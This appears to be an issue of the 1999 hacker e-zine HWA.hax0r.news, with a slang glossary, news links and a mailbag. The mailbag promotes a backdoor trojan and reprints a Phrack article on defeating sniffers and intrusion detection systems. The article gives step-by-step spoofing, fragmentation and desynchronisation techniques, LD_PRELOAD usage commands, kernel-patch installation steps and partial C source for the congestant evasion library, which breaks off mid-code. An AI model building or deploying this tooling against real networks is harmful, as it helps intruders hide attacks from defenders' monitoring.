enjoy - Ed ... @HWA 00.4 Whats in a name? why HWA.hax0r.news?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well what does HWA stand for? never mind if you ever find out I may have to get those hax0rs from 'Hackers' or the Pretorians after you. In case you couldn't figure it out hax0r is "new skewl" and although it is laughed at, shunned, or even pidgeon holed with those 'dumb leet (l33t?) dewds' this is the state of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you up and comers, i'd highly recommend you get that book. Its almost like buying a clue. Anyway..on with the show .. - Editorial staff @HWA 00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Also released in issue #3. (revised) check that issue for the faq it won't be reprinted unless changed in a big way with the exception of the following excerpt from the FAQ, included to assist first time readers: Some of the stuff related to personal useage and use in this zine are listed below: Some are very useful, others attempt to deny the any possible attempts at eschewing obfuscation by obsucuring their actual definitions. @HWA - see EoA ;-) != - Mathematical notation "is not equal to" or "does not equal" ASC(247) "wavey equals" sign means "almost equal" to. If written an =/= (equals sign with a slash thru it) also means !=, =< is Equal to or less than and => is equal to or greater than (etc, this aint fucking grade school, cripes, don't believe I just typed all that..) AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21) AOL - A great deal of people that got ripped off for net access by a huge clueless isp with sekurity that you can drive buses through, we're not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the least they could try leasing one?? *CC - 1 - Credit Card (as in phraud) 2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's CCC - Chaos Computer Club (Germany) *CON - Conference, a place hackers crackers and hax0rs among others go to swap ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk watch videos and seminars, get drunk, listen to speakers, and last but not least, get drunk. *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker speak he's the guy that breaks into systems and is often (but by no means always) a "script kiddie" see pheer 2 . An edible biscuit usually crappy tasting without a nice dip, I like jalapeno pepper dip or chives sour cream and onion, yum - Ed Ebonics - speaking like a rastafarian or hip dude of colour also wigger Vanilla Ice is a wigger, The Beastie Boys and rappers speak using ebonics, speaking in a dark tongue ... being ereet, see pheer EoC - End of Commentary EoA - End of Article or more commonly @HWA EoF - End of file EoD - End of diatribe (AOL'ers: look it up) FUD - Coined by Unknown and made famous by HNN - "Fear uncertainty and doubt", usually in general media articles not high brow articles such as ours or other HNN affiliates ;) du0d - a small furry animal that scurries over keyboards causing people to type weird crap on irc, hence when someone says something stupid or off topic 'du0d wtf are you talkin about' may be used. *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to define, I think it is best defined as pop culture's view on The Hacker ala movies such as well erhm "Hackers" and The Net etc... usually used by "real" hackers or crackers in a derogatory or slang humorous way, like 'hax0r me some coffee?' or can you hax0r some bread on the way to the table please?' 2 - A tool for cutting sheet metal. HHN - Maybe a bit confusing with HNN but we did spring to life around the same time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper noun means the hackernews site proper. k? k. ;& HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d MFI/MOI- Missing on/from IRC NFC - Depends on context: No Further Comment or No Fucking Comment NFR - Network Flight Recorder (Do a websearch) see 0wn3d NFW - No fuckin'way *0WN3D - You are cracked and owned by an elite entity see pheer *OFCS - Oh for christ's sakes PHACV - And variations of same Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare Alternates: H - hacking, hacktivist C - Cracking C - Cracking V - Virus W - Warfare A - Anarchy (explosives etc, Jolly Roger's Cookbook etc) P - Phreaking, "telephone hacking" PHone fREAKs ... CT - Cyber Terrorism *PHEER - This is what you do when an ereet or elite person is in your presence see 0wn3d *RTFM - Read the fucking manual - not always applicable since some manuals are pure shit but if the answer you seek is indeed in the manual then you should have RTFM you dumb ass. TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0 TBA - To Be Arranged/To Be Announced also 2ba TFS - Tough fucking shit. *w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions from the underground masses. also "w00ten" 2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers) *wtf - what the fuck, where the fuck, when the fuck etc .. *ZEN - The state you reach when you *think* you know everything (but really don't) usually shortly after reaching the ZEN like state something will break that you just 'fixed' or tweaked. @HWA -=- :. .: -=- 01.0 Greets!?!?! yeah greets! w0w huh. - Ed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanks to all in the community for their support and interest but i'd like to see more reader input, help me out here, whats good, what sucks etc, not that I guarantee i'll take any notice mind you, but send in your thoughts anyway. * all the people who sent in cool emails and support FProphet Pyra TwstdPair _NeM_ D----Y Dicentra vexxation sAs72 Spikeman p0lix Vortexia Wyze1 Pneuma Raven Zym0t1c duro Repluzer Folks from #hwa.hax0r,news Ken Williams/tattooman ex-of PacketStorm, & Kevin Mitnick kewl sites: + http://blacksun.box.sk. NEW + http://packetstorm.securify.com/ NEW + http://www.securityportal.com/ NEW + http://www.securityfocus.com/ NEW + http://www.hackcanada.com/ + http://www.l0pht.com/ + http://www.2600.com/ + http://www.freekevin.com/ + http://www.genocide2600.com/ + http://www.hackernews.com/ (Went online same time we started issue 1!) + http://www.net-security.org/ + http://www.slashdot.org/ + http://www.freshmeat.net/ + http://www.403-security.org/ + http://ech0.cjb.net/ @HWA 01.1 Last minute stuff, rumours and newsbytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "What is popular isn't always right, and what is right isn't always popular..." - FProphet '99 +++ When was the last time you backed up your important data? ++ FREE MOBILE SECURITY SOFTWARE FROM SPRINT - Get high-level security against internal and external network security breaches with 100% credit-back guaranteed SLAs and free security Software for mobile users. Visit http://www.sprintbiz.com/wirednews1/ ++ MIT's Media Lab: Dublin Reach (Business 3:00 a.m.) http://www.wired.com/news/business/0,1367,31929,00.html?tw=wn19991018 A proposed US$200 million research and teaching center, led by Nicholas Negroponte, may ensure Ireland's bid to become the European center for e-commerce. Karlin Lillington reports from Dublin. ++ SBC's Broad Push for Broadband (Reuters 7:00 a.m.) http://www.wired.com/news/reuters/0,1349,31957,00.html?tw=wn19991018 The company launches a $6 billion program to become the largest provider of broadband services in the United States. ++ HDTV on the Final Frontier (Culture 3:00 a.m.) http://www.wired.com/news/culture/0,1284,31945,00.html?tw=wn19991018 Clint Eastwood's astronaut adventure movie, Space Cowboy, is the first to use HDTV technology in a full-length feature film. Andrew Rice reports from Burbank, California. ++ The Mighty Pen or Almighty PC? (Reuters 3:00 a.m.) http://www.wired.com/news/reuters/0,1349,31955,00.html?tw=wn19991018 Bill Gates says megalomania's not his style -- it's media mogul Rupert Murdoch who wants to take over the world. The world's richest man professes innocence and humility in a BBC interview. ++ How MS' Junket Paid Off (Politics 16.Oct.99) http://www.wired.com/news/politics/0,1283,31937,00.html?tw=wn19991018 When they got home from an all-expenses-paid trip to Redmond, Microsoft allies lobbied the government to slash its antitrust division. Y' think they were related events? Declan McCullagh reports from Washington. Thanks to myself for providing the info from my wired news feed and others from whatever sources, also to Spikeman for sending in past entries.... - Ed @HWA 01.2 MAILBAG - email and posts from the message board worthy of a read ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Yeah we have a message board, feel free to use it, remember there are no stupid questions... well there are but if you ask something really dumb we'll just laugh at ya, lets give the message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org domain comes back online (soon) meanwhile the beseen board is still up... From: Inviz To: Sent: Wednesday, September 01, 1999 11:05 AM Subject: hwa ================================================================== The following message was received at hwa.hax0r.news-owner@listbot.com and is being forwarded to you, the list owner. ================================================================== Hey.. Just wanted to thank you for putting out HWA. I enjoy reading it, and it does a great job of summarizing what's currently happening in whatever it is that we call "the scene". I must also commend you on keeping this up for such a long time. I'm sure it's hard to cull through the enormous amount of material to find what's accurate and useful, and I know that I couldn't devote the time necessary. Again, thanks, and keep up the excellent work. From: Alexander A. Fedenko To: hwa@press.usmc.net Sent: Saturday, October 09, 1999 7:57 AM Subject: Donald Dick 1.53 Donald Dick 1.53 is realesed. It became the first! really polymorphic backdoor trojan. You can read about it on http://donalddick.da.ru I think it`s progressive innovation for such programms. PS. I`m sure this news will be interesting for you. Alexander A. Fedenko From: Dragos Ruiu To: cruciphux@dok.org Sent: Tuesday, October 05, 1999 5:22 PM Subject: kangafootech: Sniff Sniff (No real surprises. But what about all the penetration opportunities in all those flawed stacks. At least one group is keeping a catalog of those. --dr) ---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12 -------------------------[ Defeating Sniffers and Intrusion Detection Systems --------[ horizon ----[ Overview The purpose of this article is to demonstrate some techniques that can be used to defeat sniffers and intrusion detection systems. This article focuses mainly on confusing your average "hacker" sniffer, with some rough coverage of Intrusion Detection Systems (IDS). However, the methods and code present in this article should be a good starting point for getting your packets past ID systems. For an intense examination of attack techniques against IDS, check out: http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp. There are a large number of effective techniques other than those that are implemented in this article. I have chosen a few generic techniques that hopefully can be easily expanded into more targeted and complex attacks. After implementing these attacks, I have gone through and attempted to correlate them to the attacks described in the NAI paper, where appropriate. The root cause of the flaws discussed in this article is that most sniffers and intrusion detection systems do not have as robust of a TCP/IP implementation as the machines that are actually communicating on the network. Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI, or SOCK_PACKET. The sniffer receives the entire datalink level frame, and gets no contextual clues from the kernel as to how that frame will be interpreted. Thus, the sniffer has the job of interpreting the entire packet and guessing how the kernel of the receiving machine is going to process it. Luckily, 95% of the time, the packet is going to be sane, and the kernel TCP/IP stack is going to behave rather predictably. It is the other 5% of the time that we will be focusing on. This article is divided into three sections: an overview of the techniques employed, a description of the implementation and usage, and the code. Where possible, the code has been implemented in a somewhat portable format: a shared library that wraps around connect(), which you can use LD_PRELOAD to "install" into your normal client programs. This shared library uses raw sockets to create TCP packets, which should work on most unixes. However, some of the attacks described are too complex to implement with raw sockets, so simple OpenBSD kernel patches are supplied. I am working on complementary kernel patches for Linux, which will be placed on the rhino9 web site when they are complete. The rhino9 web site is at: http://www.rhino9.ml.org/ ----[ Section 1. The Tricks The first set of tricks are solely designed to fool most sniffers, and will most likely have no effect on a decent ID system. The second set of tricks should be advanced enough to start to have an impact on the effectiveness of an intrusion detection system. Sniffer Specific Attacks ------------------------ 1. Sniffer Design - One Host Design The first technique is extremely simple, and takes advantage of the design of many sniffers. Several hacker sniffers are designed to follow one connection, and ignore everything else until that connection is closed or reaches some internal time out. Sniffers designed in this fashion have a very low profile, as far as memory usage and CPU time. However, they obviously miss a great deal of the data that can be obtained. This gives us an easy way of preventing our packets from being captured: before our connection, we send a spoofed SYN packet from a non-existent host to the same port that we are attempting to connect to. Thus, the sniffer sees the SYN packet, and if it is listening, it will set up its internal state to monitor all packets related to that connection. Then, when we make our connection, the sniffer ignores our SYN because it is watching the fake host. When the host later times out, our connection will not be logged because our initial SYN packet has long been sent. 2. Sniffer Design - IP options The next technique depends on uninformed coding practices within sniffers. If you look at the code for some of the hacker sniffers, namely ones based-off of the original linsniffer, you will see that they have a structure that looks like this: struct etherpacket { etherheader eh; ipheader ip; tcpheader tcp; char data[8192]; }; The sniffer will read a packet off of the datalink interface, and then slam it into that structure so it can analyze it easily. This should work fine most of the time. However, this approach makes a lot of assumptions: it assumes that the size of the IP header is 20 bytes, and it also assumes that the size of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of options, then the sniffer is going to look inside your IP options for the TCP header, and completely misinterpret your packet. If the sniffer handles your IP header correctly, but incorrectly handles the TCP header, that doesn't buy you quite as much. In that situation, you get an extra 40 bytes of data that the sniffer will log. I have implemented mandatory IP options in the OpenBSD kernel such that it is manageable by a sysctl. 3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers This technique takes advantage of the fact that your typical sniffer is not going to keep track of the specific details of the ongoing connection. In a TCP connection, sequence numbers are used as a control mechanism for determining how much data has been sent, and the correct order for the data that has been sent. Most sniffers do not keep track of the sequence numbers in an ongoing TCP connection. This allows us to insert packets into the data stream that the kernel will disregard, but the sniffer will interpret as valid. The first technique we will use based on this is spoofing FIN and RST packets. FIN and RST are control flags inside the TCP packets, a FIN indicating the initiation of a shutdown sequence for one side of a connection, and an RST indicating that a connection should be immediately torn down. If we send a packet with a FIN or RST, with a sequence number that is far off of the current sequence number expected by the kernel, then the kernel will disregard it. However, the sniffer will likely regard this as a legitimate connection close request or connection reset, and cease logging. It is interesting to note that certain implementations of TCP stacks do not check the sequence numbers properly upon receipt of an RST. This obviously provides a large potential for a denial of service attack. Specifically, I have noticed that Digital Unix 4.0d will tear down connections without checking the sequence numbers on RST packets. 4. Insertion - Data Spoofing - Invalid Sequence Numbers This technique is a variation of the previous technique, which takes advantage of the fact that a typical sniffer will not follow the sequence numbers of a TCP connection. A lot of sniffers have a certain data capture length, such that they will stop logging a connection after that amount of data has been captured. If we send a large amount of data after the connection initiation, with completely wrong sequence numbers, our packets will be dropped by the kernel. However, the sniffer will potentially log all of that data as valid information. This is roughly an implementation of the "tcp-7" attack mentioned in the NAI paper. IDS / Sniffer Attacks: --------------------- The above techniques work suprisingly well for most sniffers, but they are not going to have much of an impact on most IDS. The next six techniques are a bit more complicated, but represent good starting points for getting past the more complex network monitors. 5. Evasion - IP Fragmentation IP fragmentation allows packets to be split over multiple datagrams in order to fit packets within the maximum transmission unit of the physical network interface. Typically, TCP is aware of the mtu, and doesn't send packets that need to be fragmented at an IP level. We can use this to our advantage to try to confuse sniffers and IDS. There are several potential attacks involving fragmentation, but we will only cover a simple one. We can send a TCP packet split over several IP datagrams such that the first 8 bytes of the TCP header are in a single packet, and the rest of the data is sent in 32 byte packets. This actually buys us a lot in our ability to fool a network analysis tool. First of all, the sniffer/IDS will have to be capable of doing fragment reassembly. Second of all, it will have to be capable of dealing with fragmented TCP headers. It turns out that this simple technique is more than sufficient to get your packets past most datalink level network monitors. This an another attack that I chose to implement as a sysctl in the OpenBSD kernel. This technique is very powerful in it's ability to get past most sniffers completely. However, it requires some experimentation because you have to make sure that your packets will get past all of the filters between you and the target. Certain packet filters wisely drop fragmented packets that look like they are going to rewrite the UDP/TCP header, or that look like they are unduly small. The implementation in this article provides a decent deal of control over the size of the fragments that your machine will output. This will allow you to implement the "frag-1" and "frag-2" attacks described in the NAI paper. 6. Desynchronization - Post Connection SYN If we are attempting to fool an intelligent sniffer, or an ID system, then we can be pretty certain that it will keep track of the TCP sequence numbers. For this technique, we will attempt to desynchronize the sniffer/IDS from the actual sequence numbers that the kernel is honoring. We will implement this attack by sending a post connection SYN packet in our data stream, which will have divergent sequence numbers, but otherwise meet all of the necessary criteria to be accepted by our target host. However, the target host will ignore this SYN packet, because it references an already established connection. The intent of this attack is to get the sniffer/IDS to resynchronize its notion of the sequence numbers to the new SYN packet. It will then ignore any data that is a legitimate part of the original stream, because it will be awaiting a different sequence number. If we succeed in resynchronizing the IDS with a SYN packet, we can then send an RST packet with the new sequence number and close down its notion of the connection. This roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper. 7. Desynchronization - Pre Connection SYN Another attack we perform which is along this theme is to send an initial SYN before the real connection, with an invalid TCP checksum. If the sniffer is smart enough to ignore subsequent SYNs in a connection, but not smart enough to check the TCP checksum, then this attack will synchronize the sniffer/IDS to a bogus sequence number before the real connection occurs. This attack calls bind to get the kernel to assign a local port to the socket before calling connect. 8. Insertion - FIN and RST Spoofing - TCP checksum validation This technique is a variation of the FIN/RST spoofing technique mentioned above. However, this time we will attempt to send FIN and RST packets that should legitimately close the connection, with one notable exception: the TCP checksum will be invalid. These packets will be immediately dropped by the kernel, but potentially honored by the IDS/sniffer. This attack requires kernel support in order to determine the correct sequence numbers to use on the packet. This is similar to the "insert-2" attack in the NAI paper. 9. Insertion - Invalid Data - TCP checksum validation This technique is a variation of the previous data insertion attack, with the exception that we will be inserting data with the correct sequence numbers, but incorrect TCP checksums. This will serve to confuse and desynchronize sniffers and ID by feeding it a lot of data that will not be honored by the participating kernels. This attack requires kernel support to get the correct sequence numbers for the outgoing packets. This attack is also similar to the "insert-2" attack described in the NAI paper. 10. Insertion - FIN and RST Spoofing - Short TTL If the IDS or sniffer is sitting on the network such that it is one or more hops away from the host it is monitoring, then we can do a simple attack, utilizing the TTL field of the IP packet. For this attack, we determine the lowest TTL that can be used to reach the target host, and then subtract one. This allows us to send packets that will not reach the target host, but that have the potential of reaching the IDS or sniffer. In this attack, we send a couple of FIN packets, and a couple of RST packets. 11. Insertion - Data Spoofing - Short TTL For our final attack, we will send 8k of data with the correct sequence numbers and TCP checksums. However, the TTL will be one hop too short to reach our target host. Summary ------- All of these attacks work in concert to confuse sniffers and IDS. Here is a breakdown of the order in which we perform them: Attack 1 - One Host Sniffer Design. FAKEHOST -> TARGET SYN Attack 7 - Pre-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number) Kernel Activity REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel) Attack 6 - Post-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Arbitrary Seq Number X) REALHOST -> TARGET SYN (Seq Number X+1) Attack 4 - Data Spoofing - Invalid Sequence Numbers REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2) Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers REALHOST -> TARGET FIN (Seq Number X+2+8192) REALHOST -> TARGET FIN (Seq Number X+3+8192) REALHOST -> TARGET RST (Seq Number X+4+8192) REALHOST -> TARGET RST (Seq Number X+5+8192) Attack 11 - Data Spoofing - TTL * REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y) Attack 10 - FIN/RST Spoofing - TTL * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192) * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192) Attack 9 - Data Spoofing - Checksum * REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z) Attack 8 - FIN/RST Spoofing - Checksum * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192) * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192) The attacks with an asterisk require kernel support to determine the correct sequence numbers. Arguably, this could be done without kernel support, utilizing a datalink level sniffer, but it would make the code significantly more complex, because it would have to reassemble fragments, and do several validation checks in order to follow the real connection. The user can choose which of these attacks he/she would like to perform, and the sequence numbers will adjust themselves accordingly. ----[ Section 2 - Implementation and Usage My primary goal when implementing these techniques was to keep the changes necessary to normal system usage as slight as possible. I had to divide the techniques into two categories: attacks that can be performed from user context, and attacks that have to be augmented by the kernel in some fashion. My secondary goal was to make the userland set of attacks reasonably portable to other Unix environments, besides OpenBSD and Linux. The userland attacks are implemented using shared library redirection, an extremely useful technique borrowed from halflife's P51-08 article. The first program listed below, congestant.c, is a shared library that the user requests the loader to link first. This is done with the LD_PRELOAD environment variable on several unixes. For more information about this technique, refer to the original article by halflife. The shared library defines the connect symbol, thus pre-empting the normal connect function from libc (or libsocket) during the loading phase of program execution. Thus, you should be able to use these techniques with most any client program that utilizes normal BSD socket functionality. OpenBSD does not let us do shared library redirection (when you attempt to dlsym the old symbol out of libc, it gives you a pointer to the function you had pre-loaded). However, this is not a problem because we can just call the connect() syscall directly. This shared library has some definite drawbacks, but you get what you pay for. It will not work correctly with programs that do non-blocking connect calls, or RAW or datalink level access. Furthermore, it is designed for use on TCP sockets, and without kernel support to determine the type of a socket, it will attempt the TCP attacks on UDP connections. This support is currently only implemented under OpenBSD. However, this isn't that big of a drawback because it just sends a few packets that get ignored. Another drawback to the shared library is that it picks a sequence number out of the blue to represent the "wrong" sequence number. Due to this fact, there is a very small possibility that the shared library will pick a legitimate sequence number, and not desynchronize the stream. This, however, is extremely unlikely. A Makefile accompanies the shared library. Edit it to fit your host, and then go into the source file and make it point to your copy of libc.so, and you should be ready to go. The code has been tested on OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6. You can use the library like this: # export LD_PRELOAD=./congestion.so # export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS" # telnet www.blah.com The library will "wrap" around any connects in the programs you run from that point on, and provide you some protection behind the scenes. You can control the program by defining the CONGCONF environment variable. You give it a comma delimited list of attacks, which break out like this: DEBUG: Show debugging information OH: Do the One Host Design Attack SC: Spoof a SYN prior to the connect with a bad TCP checksum. SS: Spoof a SYN after the connection in a desynchronization attempt. DS: Insert 8k of data with bad sequence numbers. FS: Spoof FIN packets with bad sequence numbers. RS: Spoof RST packets with bad sequence numbers. DC: Insert 8k of data with bad TCP checksums. (needs kernel support) FC: Spoof FIN packets with bad TCP checksums. (needs kernel support) RC: Spoof RST packets with bad TCP checksums. (needs kernel support) DT: Insert 8k of data with short TTLs. (needs kernel support) FT: Spoof FIN packets with short TTLs. (needs kernel support) RT: Spoof RST packets with short TTLs. (needs kernel support) Kernel Support -------------- OpenBSD kernel patches are provided to facilitate several of the techniques described above. These patches have been made against the 2.4 source distribution. I have added three sysctl variables to the kernel, and one new system call. The three sysctl variables are: net.inet.ip.fraghackhead (integer) net.inet.ip.fraghackbody (integer) net.inet.ip.optionshack (integer) The new system call is getsockinfo(), and it is system call number 242. The three sysctl's can be used to modify the characteristics of every outgoing IP packet coming from the machine. The fraghackhead variable specifies a new mtu, in bytes, for outgoing IP datagrams. fraghackhead is applied to every outgoing datagram, unless fraghackbody is also defined. In that case, the mtu for the first fragment of a packet is read from fraghackhead, and the mtu for every consecutive fragment is read from fraghackbody. This allows you to force your machine into fragmenting all of its traffic, to any size that you specify. The reason it is divided into two variables is so that you can have the first fragment contain the entire TCP/UDP header, and have the following fragments be 8 or 16 bytes. This way, you can get your fragmented packets past certain filtering routers that block any sort of potential header rewriting. The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP options on every outgoing packet. I implemented these controls such that they do not have any effect on packets sent through raw sockets. The implication of this is that our attacking packets will not be fragmented or contain IP options. Using these sysctl's is pretty simple: for the fraghack variables, you specify a number of bytes (or 0 to turn them off), and for the optionshack, you either set it to 0 or 1. Here is an example use: # sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header # sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header # sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag It is very important to note that you should be careful with the fraghack options. When you specify extreme fragmentation, you quickly eat up the memory that the kernel has available for storing packet headers. If memory usage is too high, you will notice sendto() returning a no buffer space error. If you stick to programs like telnet or ssh, that use small packets, then you should be fine with 28 or 28/36. However, if you use programs that use large packets like ftp or rcp, then you should bump fraghackbody up to a higher number, such as 200. The system call, getsockinfo, is needed by the userland program to determine if a socket is a TCP socket, and to query the kernel for the next sequence number that it expects to send on the next outgoing packet, as well as the next sequence number it expects to receive from it's peer. This allows the userland program to implement attacks based on having a correct sequence number, but some other flaw in the packet such as a short TTL or bad TCP checksum. Kernel Patch Installation ------------------------- Here are the steps I use to install the kernel patches. Disclaimer: I am not an experienced kernel programmer, so don't be too upset if your box gets a little flaky. The testing I've done on my own machines has gone well, but be aware that you really are screwing with critical stuff by installing these patches. You may suffer performance hits, or other such unpleasentries. But hey, you can't have any fun if you don't take any risks. :> Step 1. Apply the netinet.patch to /usr/src/sys/netinet/ Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it Step 4. Apply kern.patch to /usr/src/sys/kern/ Step 5. cd /usr/src/sys/kern; make Step 6. Apply sys.patch to /usr/src/sys/sys/ Step 7. cd into your kernel build directory (/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make. Step 8. cp bsd /bsd, reboot, and cross your fingers. :> ----[ The Code <++> congestant/Makefile # OpenBSD LDPRE=-Bshareable LDPOST= OPTS=-DKERNELSUPPORT # Linux #LDPRE=-Bshareable #LDPOST=-ldl #OPTS= # Solaris #LDPRE=-G #LDPOST=-ldl #OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42 congestant.so: congestant.o ld ${LDPRE} -o congestant.so congestant.o ${LDPOST} congestant.o: congestant.c gcc ${OPTS} -fPIC -c congestant.c clean: rm -f congestant.o congestant.so <--> <++> congestant/congestant.c /* * congestant.c - demonstration of sniffer/ID defeating techniques * * by horizon * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor * * openbsd doesn't let us do shared lib redirection, so we implement the * connect system call directly. Also, the kernel support for certain attacks * is only implemented in openbsd. When I finish the linux support, it will * be available at http://www.rhino9.ml.org * * This whole thing is a conditionally compiling nightmare. :> * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1, * Solaris 2.6, Debian Linux, and the glibc Debian Linux */ /* The path to our libc. (libsocket under Solaris) */ /* You don't need this if you are running OpenBSD */ /* #define LIB_PATH "/usr/lib/libsocket.so" */ #define LIB_PATH "/lib/libc-2.0.7.so" /* #define LIB_PATH "/usr/lib/libc.so" */ /* The source of our initial spoofed SYN in the One Host Design attack */ /* This has to be some host that will survive any outbound packet filters */ #define FAKEHOST "42.42.42.42" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if __linux__ #include #endif #include struct cong_config { int one_host_attack; int fin_seq; int rst_seq; int syn_seq; int data_seq; int data_chk; int fin_chk; int rst_chk; int syn_chk; int data_ttl; int fin_ttl; int rst_ttl; int ttl; } cong_config; int cong_init=0; int cong_debug=0; long cong_ttl_cache=0; int cong_ttl=0; /* If this is not openbsd, then we will use the connect symbol from libc */ /* otherwise, we will use syscall(SYS_connect, ...) */ #ifndef __OpenBSD__ #if __GLIBC__ == 2 int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL; #else int (*cong_connect)(int, const struct sockaddr *, int)=NULL; #endif #endif /* not openbsd */ #define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x)); /* define our own headers so its easier to port. use cong_ to avoid any * potential symbol name collisions */ struct cong_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct cong_icmp_header /* this is really an echo */ { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_checksum; unsigned short icmp_id; unsigned short icmp_seq; unsigned long icmp_timestamp; }; struct cong_tcp_header { unsigned short th_sport; /* source port */ unsigned short th_dport; /* destination port */ unsigned int th_seq; /* sequence number */ unsigned int th_ack; /* acknowledgement number */ #if BYTE_ORDER == LITTLE_ENDIAN unsigned char th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if BYTE_ORDER == BIG_ENDIAN unsigned char th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 unsigned short th_win; /* window */ unsigned short th_sum; /* checksum */ unsigned short th_urp; /* urgent pointer */ }; struct cong_pseudo_header { unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; }; int cong_checksum(unsigned short* data, int length) { register int nleft=length; register unsigned short *w = data; register int sum=0; unsigned short answer=0; while (nleft>1) { sum+=*w++; nleft-=2; } if (nleft==1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum+=answer; } sum=(sum>>16) + (sum & 0xffff); sum +=(sum>>16); answer=~sum; return answer; } #define PHLEN (sizeof (struct cong_pseudo_header)) #define IHLEN (sizeof (struct cong_ip_header)) #define ICMPLEN (sizeof (struct cong_icmp_header)) #define THLEN (sizeof (struct cong_tcp_header)) /* Utility routine for the ttl attack. Sends an icmp echo */ void cong_send_icmp(long source, long dest, int seq, int id, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt; struct cong_ip_header *ip; struct cong_icmp_header *icmp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN)); ip=(struct cong_ip_header *)pkt; icmp=(struct cong_icmp_header *)(pkt+IHLEN); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+ICMPLEN); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_ICMP ;//ICMP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; icmp->icmp_type=8; 